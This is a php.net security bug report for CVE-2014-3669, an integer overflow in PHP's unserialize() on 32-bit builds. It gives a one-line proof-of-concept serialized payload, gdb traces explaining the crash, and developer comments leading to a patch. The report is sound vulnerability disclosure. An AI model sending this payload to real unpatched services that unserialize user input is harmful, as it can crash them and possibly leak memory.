php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #68044 Integer overflow in unserialize() (32-bits only)
Submitted: 2014-09-18 13:55 UTC Modified: 2014-10-14 17:41 UTC
From: symeon dot paraschoudis at htbridge dot com Assigned:
Status: Closed Package: Reproducible crash
PHP Version: 5.5.17 OS: Ubuntu 14.04.1 LTS 32bit
Private report: No CVE-ID: 2014-3669
 [2014-09-18 13:55 UTC] symeon dot paraschoudis at htbridge dot com
Description:
------------
PoC
======================================
<?php
unserialize('C:3:"GMP":18446744075857035259:{}');
?>

Result
======================================
gdb$ r poc.php 
Starting program: /home/user/Desktop/php-5.5.17/sapi/cli/php poc.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".

Warning: Class __PHP_Incomplete_Class has no unserializer in /home/user/Desktop/poc.php on line 2

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
  EAX: 0x3510DAB3  EBX: 0xB510C74C  ECX: 0x3510DAB4  EDX: 0xBFFFBA88  o d I t s z A p C 
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFB918  ESP: 0xBFFFB918  EIP: 0x0850505F
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
--------------------------------------------------------------------------[code]
=> 0x850505f <finish_nested_data+16>: movzx  eax,BYTE PTR [eax]
   0x8505062 <finish_nested_data+19>: cmp    al,0x7d
                        .... snip ....
--------------------------------------------------------------------------------
0x0850505f in finish_nested_data (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:356
356   if (*((*p)++) == '}')

gdb$ bt
#0  0x0850505f in finish_nested_data (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:356
#1  0x085051bb in object_custom (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338, ce=0x8da10d0) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:387
#2  0x085062cb in php_var_unserialize (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:738
#3  0x084f264a in zif_unserialize (ht=0x1, return_value=0xb510c74c, return_value_ptr=0x0, this_ptr=0x0, return_value_used=0x0, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/ext/standard/var.c:965
#4  0x0862eeda in zend_do_fcall_common_helper_SPEC (execute_data=0xb50ef08c, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/Zend/zend_vm_execute.h:550
#5  0x08633b66 in ZEND_DO_FCALL_SPEC_CONST_HANDLER (execute_data=0xb50ef08c, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/Zend/zend_vm_execute.h:2332
#6  0x0862e411 in execute_ex (execute_data=0xb50ef08c, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/Zend/zend_vm_execute.h:363
#7  0x0862e4cf in zend_execute (op_array=0xb510cff0, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/Zend/zend_vm_execute.h:388
#8  0x085f1f1d in zend_execute_scripts (type=0x8, tsrm_ls=0x8c81338, retval=0x0, file_count=0x3) at /home/user/Desktop/php-5.5.17/Zend/zend.c:1330
#9  0x08556b7e in php_execute_script (primary_file=0xbfffeee4, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/main/main.c:2506
#10 0x0869dee7 in do_cli (argc=0x2, argv=0x8c812a0, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/sapi/cli/php_cli.c:994
#11 0x0869f279 in main (argc=0x2, argv=0x8c812a0) at /home/user/Desktop/php-5.5.17/sapi/cli/php_cli.c:1378



Analysis
=============================== 32bit case ============================

File var_unserializer.c, line 365:

static inline int object_custom(UNSERIALIZE_PARAMETER, zend_class_entry *ce)
{
    long datalen;

    datalen = parse_iv2((*p) + 2, p);

    (*p) += 2;

    if (datalen < 0 || (*p) + datalen >= max) {
        zend_error(E_WARNING, "Insufficient data for unserializing - %ld required, %ld present", datalen, (long)(max - (*p)));
        return 0;
    }
    ... snip ...

    (*p) += datalen;

    return finish_nested_data(UNSERIALIZE_PASSTHRU);
}

Initially we set a breakpoint at the previous if statement and examine the values.

Breakpoint 1, object_custom (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338, ce=0x8da10d0) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:373
373   if (datalen < 0 || (*p) + datalen >= max) {


gdb$ ptype datalen
type = long
gdb$ print sizeof(datalen)
$1 = 0x4
gdb$ print datalen
$2 = 0x7ffffffb
gdb$ p/d datalen
$3 = 2147483643 <-- Decimal value of datalen
gdb$ p/x datalen + 5
$4 = 0x80000000
gdb$ p/d datalen + 5
$5 = -2147483648 <-- overflow on 32bits systems


The addition of datalen with any value greater or equal to 5 will overflow the integer.
This is due to the fact that the size of a long is the same as an integer.

Let's examine the current decimal max, (*p) and (*p) + datalen values:

gdb$ p/d max
$6 = 3037780665

gdb$ p/d (*p)
$7 = 3037780664 <-- Less than max but big enough to overflow datalen

gdb$ p/d (*p) + datalen
$8 = 890297011 <-- overflown value

gdb$ p/x (*p) + datalen
$9 = 0x3510dab3

Consequently, 890297011 is indeed less than max (3037780665) which means that the 
above if statement is false. We continue the execution and we end up here:

Breakpoint 2, object_custom (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338, ce=0x8da10d0) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:385
385   (*p) += datalen;

gdb$ step
--------------------------------------------------------------------------[regs]
  EAX: 0xBFFFBA88  EBX: 0xB510C74C  ECX: 0xBFFFB8C8  EDX: 0x3510DAB3  o d I t s z A p C 
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFB958  ESP: 0xBFFFB920  EIP: 0x08505194
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
--------------------------------------------------------------------------[code]
=> 0x8505194 <object_custom+288>: mov    eax,DWORD PTR [ebp+0x18]
   0x8505197 <object_custom+291>: mov    DWORD PTR [esp+0x10],eax
   ... snip ...
   ... snip ...
--------------------------------------------------------------------------------
387   return finish_nested_data(UNSERIALIZE_PASSTHRU);


gdb$ print *p
$10 = (const unsigned char *) 0x3510dab3 <error: Cannot access memory at address 0x3510dab3>

As expected *p pointer now points to invalid memory address and continuing the execution
we are going to dereference this address and eventually crash.

gdb$ c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
  EAX: 0x3510DAB3  EBX: 0xB510C74C  ECX: 0x3510DAB4  EDX: 0xBFFFBA88  o d I t s z A p C 
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFB918  ESP: 0xBFFFB918  EIP: 0x0850505F
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
--------------------------------------------------------------------------[code]
=> 0x850505f <finish_nested_data+16>: movzx  eax,BYTE PTR [eax]
   0x8505062 <finish_nested_data+19>: cmp    al,0x7d
   ... snip ....
   0x8505073 <finish_nested_data+36>: ret    
--------------------------------------------------------------------------------
0x0850505f in finish_nested_data (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:356
356   if (*((*p)++) == '}')


=============================== 64bit case ============================


Breakpoint 1, object_custom (rval=0x7fffffffaa30, p=0x7fffffffaa50, max=0x7ffff1268bf1 "", var_hash=0x7fffffffaa48, ce=0x154b7f0) at /home/symeon/Desktop/php-5.5.17/ext/standard/var_unserializer.c:373
373        if (datalen < 0 || (*p) + datalen >= max) {

gdb$ print sizeof(datalen)
$1 = 0x8
gdb$ print datalen
$2 = 0x7ffffffb
gdb$ p/d datalen
$3 = 2147483643
gdb$ p/x datalen + 5
$4 = 0x80000000
gdb$ p/d datalen + 5
$5 = 2147483648 <--- No overflow
gdb$ p/d max
$6 = 140737239223281
gdb$ p/d (*p) + datalen
$7 = 140739386706923

On a 64-bit machine the sum of (*p) + datalen is calculated correctly and as 140739386706923 is greater
than max (140737239223281) we jump into the if statement and get this warning:

gdb$ c

Warning: Insufficient data for unserializing - 2147483643 required, 1 present in /home/symeon/Desktop/poc.php on line 2

[Inferior 1 (process 8693) exited normally]



Patches

overflow-fix (last revision 2014-09-28 21:26 UTC by stas@php.net)

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2014-09-25 07:41 UTC] symeon dot paraschoudis at htbridge dot com
Would anyone care to review and confirm it?
Also after spending some time it looks like this is a read access violation so I am changing the bug type.
 [2014-09-28 21:07 UTC] stas@php.net
Looks like a real bug. May be hard to reproduce since it requires the p pointer to be high enough to wrap around (couldn't make it that way on Mac, for example). The patch will follow shortly. Also probably needs a CVE since serializer can be exposed to user-controlled data and this can trigger at least crash, theoretically info disclosure,
 [2014-09-28 21:26 UTC] stas@php.net
The following patch has been added/updated:

Patch Name: overflow-fix
Revision:   1411939560
URL:        https://bugs.php.net/patch-display.php?bug=68044&patch=overflow-fix&revision=1411939560
 [2014-09-29 05:33 UTC] remi@php.net
-CVE-ID: +CVE-ID: 2014-3669
 [2014-10-14 17:42 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=56754a7f9eba0e4f559b6ca081d9f2a447b3f159
Log: Fixed bug #68044: Integer overflow in unserialize() (32-bits only)
 [2014-10-14 17:42 UTC] stas@php.net
-Status: Open +Status: Closed
 [2014-10-14 17:44 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=9aa90145239bae82d2af0a99fdae4ab27eb5f4f2
Log: Fixed bug #68044: Integer overflow in unserialize() (32-bits only)
 [2014-10-14 17:45 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=88eb7ea47dd6d23378b116aa76428ef4907c5373
Log: Fixed bug #68044: Integer overflow in unserialize() (32-bits only)
 [2014-10-14 17:46 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=9aa90145239bae82d2af0a99fdae4ab27eb5f4f2
Log: Fixed bug #68044: Integer overflow in unserialize() (32-bits only)
 [2014-10-14 17:53 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=3eb679b952f4655f178cf576584ef172602325ab
Log: Fixed bug #68044: Integer overflow in unserialize() (32-bits only)
 [2014-10-14 17:53 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=88eb7ea47dd6d23378b116aa76428ef4907c5373
Log: Fixed bug #68044: Integer overflow in unserialize() (32-bits only)
 [2014-10-14 17:53 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=9aa90145239bae82d2af0a99fdae4ab27eb5f4f2
Log: Fixed bug #68044: Integer overflow in unserialize() (32-bits only)
 [2014-10-15 10:10 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=3eb679b952f4655f178cf576584ef172602325ab
Log: Fixed bug #68044: Integer overflow in unserialize() (32-bits only)
 [2014-10-15 10:11 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=88eb7ea47dd6d23378b116aa76428ef4907c5373
Log: Fixed bug #68044: Integer overflow in unserialize() (32-bits only)
 [2014-10-15 10:11 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=9aa90145239bae82d2af0a99fdae4ab27eb5f4f2
Log: Fixed bug #68044: Integer overflow in unserialize() (32-bits only)
 [2014-10-15 12:08 UTC] jpauli@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=4af06aca40ac4c592a71a0b1206a50fad994de21
Log: Fixed bug #68044: Integer overflow in unserialize() (32-bits only)
 [2014-11-03 19:40 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=56754a7f9eba0e4f559b6ca081d9f2a447b3f159
Log: Fixed bug #68044: Integer overflow in unserialize() (32-bits only)
 [2014-11-18 20:35 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=56754a7f9eba0e4f559b6ca081d9f2a447b3f159
Log: Fixed bug #68044: Integer overflow in unserialize() (32-bits only)
 [2016-07-20 11:40 UTC] davey@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=3eb679b952f4655f178cf576584ef172602325ab
Log: Fixed bug #68044: Integer overflow in unserialize() (32-bits only)
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Dec 05 23:01:30 2024 UTC